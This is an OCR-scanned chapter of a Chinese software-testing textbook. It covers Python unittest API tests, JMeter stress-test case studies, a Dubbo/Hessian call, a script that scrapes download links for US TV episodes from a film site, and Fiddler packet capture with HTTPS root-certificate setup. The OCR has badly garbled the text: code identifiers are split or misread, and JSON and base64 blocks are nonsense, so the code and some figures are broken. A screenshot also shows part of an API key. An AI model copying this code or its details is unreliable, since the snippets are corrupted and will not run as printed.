# 测试 case, 一 定 是 以 test 开头 ,切记 切记 
def test LHL 1(self) : 
"date 格式 正确 '"' 
并 完整 的 接口 请 求 地 址 
self.full url = self.base url + '/laohuangli/d' 
并 接口 请 求 参数 
self. params = { key': 替换 成 你 自己 的 key, 'date': '2018- 01-019 
并 异常 处 理 模块 
ErY: 


# 调 用 requests 库 中 的 get 方法 请 求 接口 


r= requests.get(self.full url, params = self. params, headers = 


self. headers) 

# 对 返回 的 内 容 进行 解码 
json r = r.json() 
# 打印 相 关内 容 
print( 'HTTP 状态 码 = ',r. status_code) 
print( ' 响 应 时 间 (毫秒 ) = ', Ir. elapsed. microseconds) 
# 断言 检查 ,返回 的 error_code 是 否 为 0 
self.assertEqual(json r[ 'error code'], 0) 
print(" 实 际 结果 符合 预期 结果 ") 
print(' 响 应 内 容 = '，json_r) 

except Exception as e: 
print( ' 错 误 :%s' % e) 


# @unittest. skip(" 就 是 这 么 神奇 ") 
def test LHL 2(self): 


"date 格式 为 空 nn 
self. full url = self.base url + '/laohvangli/d' 


self. params = {'key': 替换 为 你 自己 的 key，'date': ''} 


try: 


r= requests.get(self.full url, params = self. params, headers = 


self. headers) 
json r = r.json() 
print( 'HTTP 状态 码 = '，r. status_code) 
print(' 响 应 时 间 = '，r.elapsed.microseconds) 


self.assertEqual(json_r['error_code']，206501, msg= ' 实 际 结果 不 


符合 预期 ') 
print(" 实 际 结果 符合 预期 ") 
print( ' 响 应 内 容 = '，json_r) 
except Exception as e: 


print(" 错 误 :",e) 


通过 添加 类 名 来 运行 

all suite = unittest. makeSuite(TestLHL) 
设置 为 调试 模式 ,可 以 看 到 更 多 日 志 输 出 

runner = unittest.TextTestRunner(verbosity = 2) 
并 设置 报告 保存 地 址 

filename = 'D://report.html' 

以 写 方式 打开 ,准备 写 人 数据 

fp = open(filename, 'wb') 


执行 测试 ,并 写 人 数据 


runner = HTMLTestRunner. HITMLTestRunner(stream = fp，title = ' 接 口 测试 报告 '， 


description = ' 大 话 软件 测试 接口 功能 自动 化 测试 演示 ') 
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runner. run(all suite) 

并 关闭 文件 ,如 果 不 关闭 则 无 法 写 人 数据 

fp. close() 

最 终 运行 完成 的 报告 如 图 9. 11 所 示 , 依 次 单 击 “ 详 情 ” 一 “通过 ”可 以 看 
到 具体 的 信息 ,如 图 9. 12 所 示 。 


| 大话 软件 测试 接口 功能 自动 化 测试 演示 


概要 | 失 允 | 全 部 


测试 套件 /测试 用 例 


test_LHL_1: date 格 式 正确 


test_LHL_2; date 格 式 为 空 通过 


图 9.11 测试 报告 1 


图 9.12 测试 报告 2 


最 后 我 们 总 结 下 ,本 代码 只 是 给 大 家 一 定 的 参考 指导 ,其 中 有 很 多 地 方 
是 可 以 改进 的 ,如 公共 函数 的 提取 、 测 试用 例外 部 文件 管理 发送 邮件 等 ,这 
些 大 家 可 以 自行 完善 。 其 实 写 代码 最 忌讳 一 味 地 求 多 ,我 们 应 该 脚踏实地 ， 
一 点 点 来 , 先 从 简单 的 代码 开始 一 步 步 去 优化 完善 , 既 能 给 我 们 信心 又 能 真 
正 地 落地 。 多 一 点 耐心 和 信心 ,你 可 以 的 ! 


9.5 一 个 接口 引发 的 性 能 “血案 ” 


本 节 分 享 一 个 接口 测试 的 案例 ,案例 本 身 并 不 复杂 ,但 可 以 很 好 地 整理 
所 有 知识 点 和 梳理 分 析 思 路 。 我 们 的 学 习 需 要 一 个 循序 渐进 的 过 程 ,可 异 


第 9 章 “” 玩 转 接口 测试 (8 | 


很 多 朋友 都 想 “ 一 口吃 成 一 个 胖子 ”, 却 往往 欲 速 则 不 达 。 
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5.1 接口 描述 


所 有 接口 测试 都 必须 要 有 接口 描述 文档 ,这 个 是 我 们 进行 测试 的 前 提 ， 
一 般 接 口 测试 文档 至 少 需要 包括 如 下 几 项 内 容 。 


接口 说 明 : 批量 图 片上 传 ,最 大 支持 100 张 图 片上 传 。 

接口 地 址 : http://IP 地 址 /screen/screenshot。 

返回 格式 : JSON。 

请 求 方式 : POST。 

请 求 头 : application/json 。 

请 求 参 数 说 明 : 如 图 9. 13 所 示 ,需要 对 里 面 的 字段 做 解释 ,例如 ,src 
代表 图 片 的 路 径 地 址 。 


1 


“width”: “360°, 
“height”; “234”, 
“gid 0, 
“props” { 
“style”: “width，360px; height: 234px;"”, 
“classNane”: “ i 
上 
“children”: [ 
{ 
“tagNane “ING”, 
“props”: { 
“style”: “width，278px; height: Bipx; top: 117px; left: 44px; opacity: 1; z-index: 3;°”, 
“classNane”: “s se 
“sre”: “https.//5eagef9fa2d 因 iad8a4t3c0eale64832atebca png 
} 
1}, 
{ 
“tagNane”. “ING”, 
“props”: { 


“style”: “width: 223px; height: 52px; top: 10px; left: 4lpx; opacity: 1; z-index: 2;°", 
“classNane”: “: 3 
“sre”: “https.//5eagef9fa2e Bb413078821dblf0legdcbdbg,png 
} 
}, 
. 
“tagNane”: “ING”, 
“props”: { 
“style”: “width 349px: height: 619px: top: -106px: left: 3px: opacity: 1: z-index: 1:'”, 
“classNane”: “ 四 
“src”: “https-//5eagef9fa24 08080594463a62756981e. jnz 


} 
了 
3 


图 9.13 请 求 参 数 


大 话 软 性 能 、 自 动 化 及 团队 管理 


返回 参数 说 明 : 如 图 9. 14 所 示 , 和 请 求 参数 一 样 都 需要 对 所 有 字段 
做 解释 。 一 般 接口 的 返回 里 都 会 有 一 个 字段 表示 是 否 成 功 。 本 接口 
的 返回 参数 code 就 是 这 样 的 一 个 字段 ,如 果 为 0 则 代表 成 功 。 所 以 
后 续 接 口 校 验 就 可 以 以 此 字段 为 准 。 


“code”: 0, 
“content”: [ 
{ 


“htalPath” 


“data”: “/93/4AQSKZJReABAQEASABIAAD/ 2wBDAAeGDecoDAeHDyeJCOeRDDANDALDBk SEveUHRor ih De C4nICIs LxweKDepLD McDOOly oSP TeyPC| 
4zHDL/ 2wBDAQkJCQwLDBeNDReyIRwhitj IyMjIyMjIyIIyNjIyMjIyMI Ty TyMiIyNjIyMiIyMjIyNi Ty IyMiTyMi TiL/ wAARCADAAYsDASTAAhEBAxEB/ 
QAHwAAAQUBAQEBAQEAAAAA pe AkM2J yeeXKFl 
YORolJicokSoONTY3IODkOQORF RI ATSUp TYE WIV Lb7VANk ZWina 1qc 3RldnddoXaDhIWoh4iJipRTIJ WIS Indk pKYap 6iparKztLV2t TiSusLDxIXGx0jJyt| 
LTINXWA zxgvP09fb3+Pn6/BQAHwEAAwEBAQEBAQEBAQAAAAAAAAECAwQFBESTCY 1CB4QDBAcFBAQAAQJ3AAECAXEEBSExBl 


JBUQdhcRiJoEIFEKRobHBCSWzUvaAYYnLRChYkRNOE18RcYCRonJyEPKIUOynn DO NB LC VaL2hpanNOdX7 IoHL G8o0EbYaHi InKkpOUL 
aXnJnaogOkpaangEngsrO0tba3uL nbwsPExchi oo GvE DYEb3+Pn ANBAATRAxEAPwD2+Ln/ ACNdr/ 14p/6HJXA133xc/' 


CRrtf+vFP/AEOSuBrya/ 8 ee ASHehsEkDex3/s/DHet™, wT4S1 TxLEf scQs3Usesk4Rfb3PsEe] 034n en vt Betws/ 
t6YGctUtDycxzLCUE6dSXveWrT6Py+/SDN8Z rovww3sJormarma DoHkSAETD vo) HCHFP+HOY/WCTE, 
8A8VR/wrnwp/0Cw/JiX/4qj5pPuiv9Z8T fcvarvSive/4Fc+FPHEY/VCTE 
BABYR/ wrnwp/ OCv/JiX/ 4qj6pPug/ Ln Rv /cur Cn/ ok /BAJiX/ AOKo/ wcF ctFPreV/SNS/ /FULY] 90Hts+E/119y/ 2PBRK97/47240/ weeY/ SIS 


图 9.14 返回 参数 


9.5.2 脚本 结构 


首先 看 脚本 的 整体 结构 ,如 图 9. 15 所 示 。 


基 亲生 区 
?+ 
* HTTP 信 息 关 管理 和 


4 避 合 报告 
ok jp@gc- PerfMon Metrics Collector 


sk 图 形 结果 


图 9.15 脚本 结构 


Stepping Thread Group: 这 里 我 们 没有 使 用 常规 的 线程 组 ,而 是 用 了 
Stepping Thread Group , 它 类 似 LoadRunner 的 Controller, 可 以 进行 更 加 灵 


活 的 设置 ,如 图 9. 16 所 示 。 
该 组 件 的 参数 解释 如 下 。 
。 This group will start N threads: 相当 于 lr 中 的 并 发 数 。 
。 First，wait for N seconds: 启动 第 一 个 线程 之 前 ,需要 等 待 N 秒 。 
。 Then start N threads: 设置 最 开始 时 启动 N 个 线程 。 
。 Next，add N1 threads every N2 seconds, using ramp-up N3 
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00:00:00 00:0010 00:00:20 00:00:30 00:00:41 00:00:51 00:01:01 00:01:12 00:01:22 00:01:32 00:01:43 
Elapsed time 


图 9.16 Stepping Thread Group 组 件 


seconds: 在 N3 秒 内 启动 N1 个 线程 ,启动 的 策略 为 每 隔 N2 秒 启动 
-1 
。 Then hold load for N seconds: 相当 于 达到 this group will start N 
threads 设置 的 数 之 后 再 运行 多 久 。 
。 Finally, stop N1 threads every N2 seconds: 相当 于 每 隔 N2 秒 停止 
NU 个: 
HTTP 信息 头 管理 器 : 如 果 你 的 人参 是 JSON 格式 的 ,必须 在 这 里 设置 
信息 头 为 application/json。 
HTTP 请 求 : 这 里 填写 接口 地 址 路径、 参数 等 信息 ,如 果 是 JSON 格式 
的 入 参 ,可 以 填写 到 Body Data 里 ,如 图 9. 17 所 示 。 


协议: | | 服务 器 名 称 或 IP: L ] 广 D 号 : [Bos1 


HTTP 请 求 
lss content encoding: 


方法 : |POST 路 径 : 

加 动 于 室 向 站 大 靖 对 定向 ”区 ] Use KeepAlive [DD] Use multiparyform data for POST  [] Browser-compatible headers 
[ Parameters | Body Data | Files Upload | 

1[ 


2 

3 “width": "360", 

4 "height”: "234", 

5 "gid": @, 

6 日 "props": { 

7 "style": ""width: 369pxji height: 234px;"", 
3 "className™: 


3 ]， 


图 9.17 HTTP 请 求 


大 话 软件 测试 一 一 性 能 、 自 动 化 及 团队 管理 


响应 断言 : 类 似 LoadRunner 里 的 检查 点 ,这 里 我 们 对 返回 响应 中 的 
code 字段 做 检 

聚合 报告 ， 顾 名 思 义 是 对 数据 统计 的 列表 ,这 里 我 们 重点 关注 响应 时 间 
和 出 错 率 。 


9.5.3 结果 分 析 


一 切 准备 就 绪 之 后 就 是 压 测 , 压 测 过 程 并 没有 什么 特殊 的 ,主要 是 关注 
服务 器 端 资源 、 日 志 异 常 .成 功率 等 。 

经 过 一 段 时 间 的 压 测 得 出 的 数据 大 致 如 下 (其 他 无 用 数据 这 里 并 没有 
列 出 ) 


。 平 均 响应 时 间 较 长 ,大概 为 135s, 这 个 是 完全 不 能 接受 的 。 

。 服务 器 端 CPU 资源 占用 率 持 续 二 87%。 

。 日 志 有 异常 ,如 图 9. 18 所 示 。 通 过 异常 日 志 很 明显 指向 了 在 处 理 上 
传 图 片 的 ScreenShotController. java 文件 。 


图 9.18 日 志 异 常 


通过 测试 得 到 的 数据 需 结 合 业务 来 一 起 分 析 。 这 里 特别 要 提醒 一 下 ， 
在 分 析 的 时 候 , 很 多 朋友 都 会 脱离 业务 进行 性 能 分 析 , 这 是 不 可 取 的 ,因为 
很 多 性 能 问题 和 业务 是 息息相关 的 ,此 案例 就 很 典型 。 
从 前 期 的 需求 来 看 接口 支持 100 个 图 片 的 批量 上 传 , 这 ae 
大 的 ,如 果 处 理 策 略 不 得 当 自 然 响应 时 间 就 会 长 ,从 测试 结果 已 经 看 出 
来 了 。 
至 于 CPU 占用 率 较 高 ,因为 机 器 运行 的 服务 很 少 ,而 该 接口 也 没有 太 
复杂 的 处 理 逻 辑 , 所 以 先 从 硬件 方面 排查 发现 机 器 是 2 核 的 ,显然 有 点 落伍 
了 ,解决 方案 很 简单 ,直接 升级 机 器 配置 即 可 。 有 名 话说 得 好 : 能 用 硬件 解 
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决 的 问题 都 不 是 问题 。 

最 后 看 看 这 个 异常 。 单 从 这 个 异常 来 看 ,可 能 的 原因 是 堆 设置 不 合理 、 
有 使 用 大 内 存 的 代码 、 死 循环 等 。 那 么 ,第 一 步 我 们 就 可 以 从 这 几 个 方面 来 
排查 。 同 时 ,刚才 也 强调 过 在 做 分 析 的 时 候 一 定 要 结合 业务 ,我们 的 脚本 是 
批量 上 传 100 个 图 片 ,如 果 一 次 性 把 资源 加 载 到 内 存 中 那么 肯定 是 会 有 问题 
的 。 经 过 与 开发 人 员 的 沟通 ,确认 了 我 们 的 假设 。 那 么 解决 方案 也 就 出 来 
了 ,在 处 理 上 把 原来 一 次 性 的 加 载 改 为 分 批 的 小 量 多 次 加 载 , 这 样 就 不 会 造 
成 积压 了 。 

最 终 的 解决 方案 如 下 。 

。 硬件 升级 ,主要 是 CPU 。 

。 增 大 堆 内 存 。 

。 更 改 处 理 策略 ,由 一 次 性 加 载 变 为 分 批 的 小 量 多 次 加 载 。 

其 实 结果 分 析 过 程 就 是 一 个 排查 的 过 程 ,没有 什么 特别 的 技巧 ,主要 靠 
经 验 。 最 后 只 需要 把 排查 分 析 的 过 程 进行 裁剪 和 整理 ,就 能 生成 测试 报 


告 于 5 
9.6 与 接口 性 能 测试 捉迷藏 


本 文 来 自 党员“ 开心” 在 工作 中 对 项 目的 总 结 ,虽然 难度 不 大 ,但 分 析 思 
路 值得 点 赞 。 


9.6.1 背景 


有 一 个 HTTP 的 接口 GetPaymentURL ,传递 参数 很 简单 ,就 是 一 个 
sessionID( 类 似 于 订单 号 ) ,这 个 接口 本 身 并 没有 什么 东西 ,但 是 它 调 用 了 男 
外 一 个 模块 钱包 的 接口 ,钱包 最 终 会 返回 一 个 PaymentURL 等 信息 给 
GetPayment 这 个 接口 。 

一 句 话 ,GetPyamentURL 只 负责 传递 参数 给 钱包 的 接口 ,主要 业务 逻 
辑 都 是 在 钱包 里 面 ,最终 由 钱包 把 结果 返回 给 GetPaymentURL , 拿 到 结果 
后 再 做 简单 处 理 ,返回 结 果 。 
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小 强 课 党 
明白 一 个 接口 的 逻辑 是 非常 重要 的 ,实际 中 我 发 现 很 多 人 只 关注 技 
术 , 却 不 关注 业务 逻辑 ,导致 很 多 一 步 可 以 完成 的 事情 偏偏 走 了 NN 步 ,得 
不 偿 失 啊 ! 


9.6.2 问题 与 分 析 


当时 遇 到 一 个 情况 ,调用 Get PaymentURL 接口 有 时 非常 慢 ( 只 是 1 个 
用 户 进行 调用 ,100 次 内 有 27 次 是 20s 以 上 ,最 长 的 都 达到 30s 以 上 ) ,但 是 
直接 调用 钱包 的 接口 非常 快 ,而 且 都 是 在 同一 网 络 下 用 一 个 用 户 分 别 进行 
测试 100 次 ,都 是 在 我 们 公司 的 内 网 发 出 的 请 求 。 

首先 ,因为 直接 调用 钱包 接口 ,响应 正常 。 所 以 我 判断 问题 应 该 是 出 在 
GetPaymentURL 这 里 。 接 下 来 利用 LoadRunner, 把 Get PaymentURL 的 
结果 分 析 了 一 下 ,发 现 buffer time 非常 长 ,进一步 分 解 ,得 到 server time 很 
慢 ,net time 是 正常 的 。 所 以 我 怀疑 是 不 是 GetPaymentURL 接口 本 身 的 
server 端 问题 ,导致 耗 时 长 。 但 又 觉得 说 不 过 去 啊 , 这 个 接口 只 是 做 了 简单 
传递 ,怎么 会 这 么 慢 ? 所 以 我 觉得 还 是 保留 一 下 网 络 的 原因 。 后 来 与 同事 
确认 ,发现 直 接 调 用 钱包 接口 走 的 是 公 网 (开发 给 我 的 测试 地 址 是 公 网 的 )， 
而 GetPaymentURL 应 该 走 的 是 专线 。 虽 人 然 最 终 都 是 到 达 同 一 台 服 务 器 进 
行 处 理 , 但 是 他 们 走 的 网 络 节点 是 不 一 样 的 。 所 以 现在 我 更 加 肯定 ,网 络 和 
VPOS 都 有 可 能 有 问题 。 


小 强 课 党 


学 习 一 个 新 知识 ,基础 重要 ,工具 作为 快速 入 口 也 重要 ， en 
过 分 依赖 工具 而 缺乏 知识 积累 和 分 析 逻 辑 的 培养 , 那 注 定 无 法 进步 。 
处 的 分 析 能 收 能 放 , 抓 住 网 络 路 径 的 不 同 找 突破 口 。 


对 于 这 种 涉及 钱 的 交易 ,肯定 是 走 专 线 地 址 的 。 于 是 立马 让 同事 修改 
为 指向 钱包 的 专线 地 址 ,重新 测试 了 一 遍 , 结 果 一 切 正常 。 
虽然 结果 有 点 大 跌眼镜 , 既 不 是 网 络 原因 ,也 不 是 VPOS 服务 端的 原 
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因 ,而 是 莫名 其 妙 被 兜 了 个 大 圈子 ,导致 响应 时 间 较 慢 。 这 是 最 终 用 单个 用 
户 请 求 了 200 次 的 结果 ,如 图 9. 19 所 示 。 


图 9.19 测试 结果 


小 强 点 评 : 为 什么 性 能 测试 好 玩 ” 因 为 你 会 发 现 有 时 候 你 “ 玩 ” 它 ,有 时 
修 它 “ 玩 ” 你 啊 , 就 和 大 家 为 喻 都 爱 看 悬疑 推理 破案 片 一 个 道理 ,所 以 耐心 、 
坚持 和 逻辑 思维 能 力 真心 很 重要 。 


9.6.3 总 结 


(1) 遇 到 接口 很 慢 的 情况 ,无 非 就 是 网 络 和 Server 端的 原因 。 

(2) 对 于 接口 调 接口 的 情况 ( 某 个 接口 本 身 封装 了 另外 一 个 接口 ), 可 以 
进一步 拆 分 。 例 如 ,直接 调用 钱包 的 接口 ,看 看 是 否 正常 ,如 果 它 本 身 就 有 
问题 , 则 首先 要 分 析 钱 包 的 接口 。 如 果 钱 包 接 口 本 身 没 有 问题 , 那 就 要 分 析 
是 不 是 GetPaymentURL 本 身 接 口 的 问题 。 

(3) 遇 到 问题 ,要 与 相关 人 员 进 行 确认 。 


小 强 课堂 


这 里 的 总 结 看 起 来 短 短 几 字 却 透 出 了 我 一 直 传 达 的 一 个 信息 , 那 就 
是 分 析 问 题 要 学 会 分 层 拆 分 。 只 有 把 大 的 拆 成 小 的 ,才能 慢 慢 找到 突破 
口 。 很 多 人 觉得 分 析 难 ,不 会 分 析 , 本 质 就 两 点 : 一 是 基础 不 够 扎实 ; 二 
是 不 会 拆 分 ,不 知道 该 怎么 一 步 步 拆 解 。 


9.7 利用 Python 完成 Dubbo 接口 Hessian 协议 的 测试 


Dubbo 是 什么 我 们 就 不 在 文中 讲解 了 ,大 家 可 自行 Google 查看 。 其 实 
Dubbo 接口 可 以 使 用 LoadRunner、JMeter 等 完成 ,最 好 是 熟悉 Java 语言 
的 ,那么 编写 起 来 就 “ 丝 滑 ”了 很 多 。 但 是 也 不 要 小 瞧 Python , 它 可 是 现在 的 


性 能 、 自 动 化 及 团队 管理 


(19 大 话 软件 测试 


最 热门 语言 。 用 Python 来 调用 其 实 也 是 很 简单 的 ,并 不 像 大 家 想 得 那 么 复 
杂 , 基 本 三 四 步 就 可 以 搞定 ,来 看 如 何 实 现 。 

既然 做 接口 测试 , 那 接口 的 说 明 是 必需 的 ,大 致 包括 如 下 内 容 ( 问 开发 
人 员 3。 

。 接口 地 址 : http://IP 地 址 :端口 /com. unj. dubbotest. provider. 

DemosService。 

。 接口 名 : com. unj. dubbotest. provider. DemoService。 

。 方法 : sayHello,getUsers。 

。 参数 : name。 

在 正式 测试 之 前 需要 让 开发 人 员 把 项 目 里 的 Dubbo 加 上 Hessian 方 
式 , 不 要 担心 会 影响 什么 , 它 是 绿色 无 公害 无 污染 的 。 

接 下 来 ,下 载 python-hessian-master(https://github. com/theatlantic/ 
python-hessian) 解 压 后 进入 该 目录 ,运行 python setup. py install 进行 安装 。 

激动 人 心 的 时 刻 来 了 ,代码 写 起 来 ! 


并 引入 相关 包 

from pyhessian. client import HessianProxy 

并 接口 地 址 

url = 'http://IP 地 址 :端口 号 /' 

车 接口 名 

interface = 'com. unj. dubbotest. provider. DemoService' 
并 拼接 完整 的 请 求 

full url= url + interface 

并 参数 


params = 'xiaogqiang’ 

service = HessianProxy(full url) 
# sayHello 是 接口 里 的 方法 

res = service. sayHello( params) 


print(res) 


你 看 是 不 是 很 简单 ? 
9.8 用 Python 下载 美剧 


本 节 内 容 来 自学 员 小 凯 的 小 实验 , 想 尝 试用 Python 下 载 美剧 。 大 家 平 
时 也 可 以 试 试 这 种 小 实验 ,还 是 蛮 有 趣 的 。 其 实学 习 就 是 这 样 , 苦 中 作乐 才 
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这 里 使 用 的 是 迅雷 极速 版 ,安装 在 D 盘 , 在 进行 下 载 之 前 需 先 启动 迅 
废话 不 多 说 ,直接 看 代码 。 


import requests, re, os, time 


并 电影 的 URL 地 址 
url = "http://www. dygod. net/html/tv/oumeitv/109673. html" 
s = requests. get(url) 


并 print(s.encoding) 并 打印 下 汉字 的 编码 类 型 


res = re.findall('href ="(. *?)">ftp',s.text) 
for resi in res: 
# 汉字 转 换 成 utf -8 编码 
# print(i.encode("iso— 8859 - 1").decode( 'gbk').encode( 'utf8'). decode( 'utf8')) 
a= resi. encode("iso— 8859 - 1"). decode( 'gbk'). encode( 'utf8'). decode( 'utf8') 
print(a) 并 打印 一 下 看 下 效果 
os.chdir( "D:\Program Files (x86)\Thunder Network\Thunder\Program\") 
os. system("Thunder. exe — StartType:DesktopIcon "% s"" % a) 
time. sleep(1) 


运行 代码 后 效果 如 图 9. 20 所 示 。 


选 党 下载 地 址 
任务 天 型 过 浪 。@ 全 适 〇 主 不 知 品 图 片 〇 塌 受 口 视 顶 口 自 定义 


回 硬 mm 


URL 
fp//mm@. 
fp/mm® 
ftp//mm@. 
fp//mem@. 
ftp//mm®. 
ftp//w.dl2. 


rp 
pa 
mpt 
mp 
mpt 
mp4 
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9.9 Fiddler 抓 包 


抓 包 应 该 是 每 个 测试 工程 师 必 备 的 基本 技能 ,但 很 多 朋友 都 不 会 ,这 里 
并 没有 任何 贬低 的 意味 ,只 是 想 表 达 你 觉得 不 重要 的 、 简 单 的 基础 技能 往往 
是 阻碍 你 进步 的 魔鬼 。 武 侠 世 界 里 我 们 都 知道 只 有 基本 功 扎实 .悟性 高 的 
人 才 会 学 的 一 身 本 领 和 超 强 的 武功 ,学 习 也 是 如 此 。 本 节 将 对 如 何 使 用 
Fiddler 抓 HTTP 和 HTTPS 的 数据 包 和 一 些 技巧 做 讲解 。 配 套 视频 可 以 
在 http://www. xqtesting. com 查看 。 


9.9.1 Fiddler 介绍 和 安装 


Fiddler 是 一 款 HTTP 协议 调试 代理 工具 , 它 能 够 抓 取 记 录 本 机 所 有 
HTTP 和 HTTPS 请 求 。 其 运行 机 制 如 图 9. 21 所 示 ,其 实 就 是 本 机 127. 0. 
0.1 上 监听 8888 端口 的 HTTP 代理 。 无 论 对 开发 人 员 或 者 测试 人 员 来 说 ， 
都 是 非常 有 用 的 工具 ,可 以 使 用 它 来 抓 包 分 析 请 求 和 响应 数据 其 至 算 改 伪 
造 数据 。 

请 求 请 求 


fiddler i 
客户 端 响应 (proxy) 响应 服务 器 端 


图 9.21 Fiddler 运行 机 制 


Fiddler 的 安装 也 比较 简单 ,但 不 知道 为 什么 很 多 初学 者 都 在 安装 的 时 
候 出 现 各 种 问题 ,这 是 一 个 未 知 的 谋 。 安 装 包 可 以 到 www. xqtesting. com/ 
blog/software-download-16. html 下 载 。 先 安装 Fiddler. exe 文件 ,之 后 再 安 
装 maker. exe 文件 。 启 动 Fiddler 之 后 的 界面 大 致 如 图 9. 22 所 示 。 


9.9.2 Web 端 抓 包 


只 需要 经 过 简单 的 配置 就 可 以 抓 包 了 ,大 致 步骤 如 下 。 
。 在 菜单 Tools 一 Televik Fiddler Options ~ Connections 中 进行 如 
图 9. 23 的 设置 。 
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图 9.22 Fiddler 界面 
ET 
General [ HTTPS | ‘|Gateway | Extensions | Performance | Tools 


过 All WinINET traffic is routed 
through Fiddler when "File > Capture Traffic is 


ee || 回 Act as system proxy on startup 


Copy Browser Proxy ConfigurationURL 回 Monitorallconnecdtions ~ 回 UsePAC Script 


加 Capture FTP requests 回 DefaultLAN 
回 宽带 连接 


Bypass Fiddler forURLs that start with: 
<4oopbacdk>; 和 


Learn more.| 


图 9.23 Fiddler 设置 


启动 正 浏览 器 之 后 访问 www. xqtesting. com 即 可 在 Fiddler 中 看 
到 请 求 了 。 但 是 会 发 现 几 乎 所 有 的 请 求 都 被 记录 了 下 来 ,这 样 我 
们 很 难 找到 想 要 的 请 求 ,这 时 候 可 以 设置 下 过 滤 规 则 ,如 图 9. 24 
所 示 。 


9.9.3 配置 可 抓 HTTPS 


默认 下 ,Fiddler 不 会 捕获 HTTPS 会 话 , 需 要 进行 如 下 设置 ,大 致 步骤 
如 下 。 


自动 化 及 团队 管理 CP 


-199) 大 话 软件 疯 


加 statistics 记 Inspectors 多 AutoResponder 国 composer 国 Fidder OrchesraBeta 池 Fiddersaipt 目 Log 


Note: Filters onthis page are a simple subset of the filtering 
Use Filters dr 


Client Process 
Show only traffic from 
Show only Internet Explol 


affic Hide traffic from Service Host 


回 show only if URL contains [xqtesting.com 


图 9.24 Fiddler 过 滤 


在 菜单 Tools-Televik Fiddler Options-HTTPS 标签 中 进行 设置 ， 
如 图 9. 25 所 示 。 


一 一 
BCCertMaker.BCCertMaker from CertMaker.dil 

[loqore server certificate errors (unsafe) 

Check for certificate revocation 


Protocols: <dient>; ssl3;tls10 
Skip decryptionforthefollowing hosts: 


图 9.25 Fiddler HTTPS(1) 


选择 图 中 的 选项 时 会 弹出 如 图 9. 26 和 图 9. 27 所 示 的 对 话 框 ,全 部 
单 击 Yes 按钮 (可 能 会 比较 慢 , 耐 心 等 待 ) 。 


SCARY TEXT AHEAD; Read Carefully! 


使 To intercept HTTPS traffic, Fiddler generates a unique root certificate. 


A 
security warnings. This is generally safe. 


| 
Gd if this is all geek to you. 


Trust the Fiddler Root certificate? 


9.26 Fiddler HTTPS(2) 


人 第 9 章 。 玩 转 接 口 测试 (se 


全 您 即将 从 一 个 声称 代表 如 下 的 证 书 颁 发 机 构 安装 证 书 : 
DO_NOT_TRUST._FiddlerRoot 
Windows 不 能 确认 证 书 是 否 来 自 "DO_NOT_TRUST_FiddlerRoot"。 您 应 该 
与 "DO_NOT_TRUST_FiddlerRoot" 联系 ， 以 确认 证 书 来 源 。 下 列 数 字 将 在 
此 过 程 中 对 您 有 帮助 : 
指纹 (shal): 6BE9955E B99D713F CD5CDFD5 08233BCD D6EE6EEO 
警告 : 
如 果 安装 此 根 证 书 ，Windows 将 自动 信任 所 有 此 CA 颁发 的 证 书 。 安 装 未 经 
指纹 确认 的 证 书 有 安全 风险 。 如 果 单 击 “ 是 ” ， 则 表示 知道 此 风险 . 

您 想 安装 此 证 书 吗 ? 


sam |[ am ] 


图 9.27 Fiddler HTTPS(3) 


。 全 部 完成 之 后 重启 Fiddler ,访问 https://www. baidu. com 就 可 以 
抓 HTTPS 的 包 了 。 


9.9.4 移动 APP 端 抓 包 


前 置 条 件 如 下 。 

。 手机 和 计算 机 在 同一 局 域 网 。 

。 完成 Fiddler 的 基本 配置 ,参见 Web 端 抓 包 的 内 容 。 

移动 APP 端 抓 包 的 大 致 步骤 如 下 ,以 小 米 手机 为 例 ,其 余 手 机 可 能 会 有 

不 同 。 

。 查看 本 地 计算 机 的 IP。 

。 手机 设置 WLAN 设置 一 选择 WIFI, 点 右边 的 箭头 (有 的 手机 是 长 
按 弹出 选项 框 ) ,修改 “代理 ”处 的 信息 ,选择 “手动 ”, 主 机 名 为 上 面 的 
本 地 电脑 IP ,端口 为 默认 的 8888, 之 后 保存 即 可 。 

。 这 时 候 你 在 手机 APP 上 的 操作 就 会 被 Fiddler 捕获 到 。 
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小 强 课堂 


如 果 手 机 设置 了 代理 , 测 完 之 后 记得 关闭 代理 ,要 不 然 手 机 无 法 正 
常 上 网 。 


如 果 你 想 抓 取 手机 APP 中 的 HTTPS 请 求 , 还 需要 进行 如 下 的 配置 。 
。 打开 手机 浏览 器 输入 http:// 本 机 ip 地 址 :8888 。 
。 出 现 如 图 9. 28 所 示 夯 面 ,点 击 末 尾 的 链接 下 载 安 装 即 可 。 


者 Fiddler Echo Service 


haga ive 

ccept: text/htnl application/ hoel*xnl ,application/ wel ,90.9, image/webp, */*,o-0.8 

Sor -Agent Mozllja75.0 (Lin; Androld 4,4,4; K30-T Bulld/KTUS4P) ApPljewebKit1537.36 《KMHTRL，11kql 
ccept"Encoding: gzip,deflate 

ep en 2h-CN ,en-US;q50.8 
-Requested-With: com,browser_llqhz 


Tis page retumed a HTTP/200 response 


* To configure Fidd PT ef seeing this page, see Beyerse Proxy Setup 


图 9.28 证 书 下载 


9.9.5 模拟 发 送 请 求 


在 Fiddler 中 你 也 可 以 自己 输入 请 求 地 址 、 参 数 等 信息 来 模拟 请 求 的 发 
送 与 响应 。 大 致 操作 步骤 如 下 。 
。 GET 请 求 模拟 (请 求 的 结果 在 图 9. 29 左 侧 列表 中 显示 ,双击 可 以 查 
看 具体 信息 )。 
。 POST 请 求 模 拟 ,如 图 9. 30 所 示 。 
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Youcan done apri by Re 

Parsed [Raw | 

FE http:/N.juhe.n/aohuangli/d?date=2014-09-118key =e711bc6362b3179f5a28de 7fd3ee ace 贺 LogRequests 

er -Agent Pdder History 

te ER] 

| Content-Type: application/x-www-form-uriencoded; dharset=UTF 8 Be 
DvJuhe.nfaohuangld 
viuhe.nfaohuangh.,. 
TT vihe. flaohuanghd 


RequestBody Upload file.. 


图 9.29 GET 请 求 


oo [ ©) Piers [= timeine [| 了 ATest 


Content Length: 

Content Type: applcaton/x- www -form uriencoded; charset =UTF 8 

Reauest Body Uplosd flle.. 
date=2014.09-118key =e711bc6362b3179f5a28de 7fd3ee tace < 


图 9.30 POST 请 求 


9.9.6 限 速 


在 无 线 测试 中 ,通过 网 络 限 速 查 看 页 面 泻 染 等 效果 ,能 有 效 保障 低速 网 
络 下 的 用 户 体 验 和 页 面 性 能 。Fiddler 可 通过 延迟 发 送 或 设置 接收 数据 的 时 
间 来 限制 网 络 的 下 载 速度 和 上 传 速度 ,从 而 达到 限 速 的 效果 。 
大 致 操作 步骤 如 下 。 
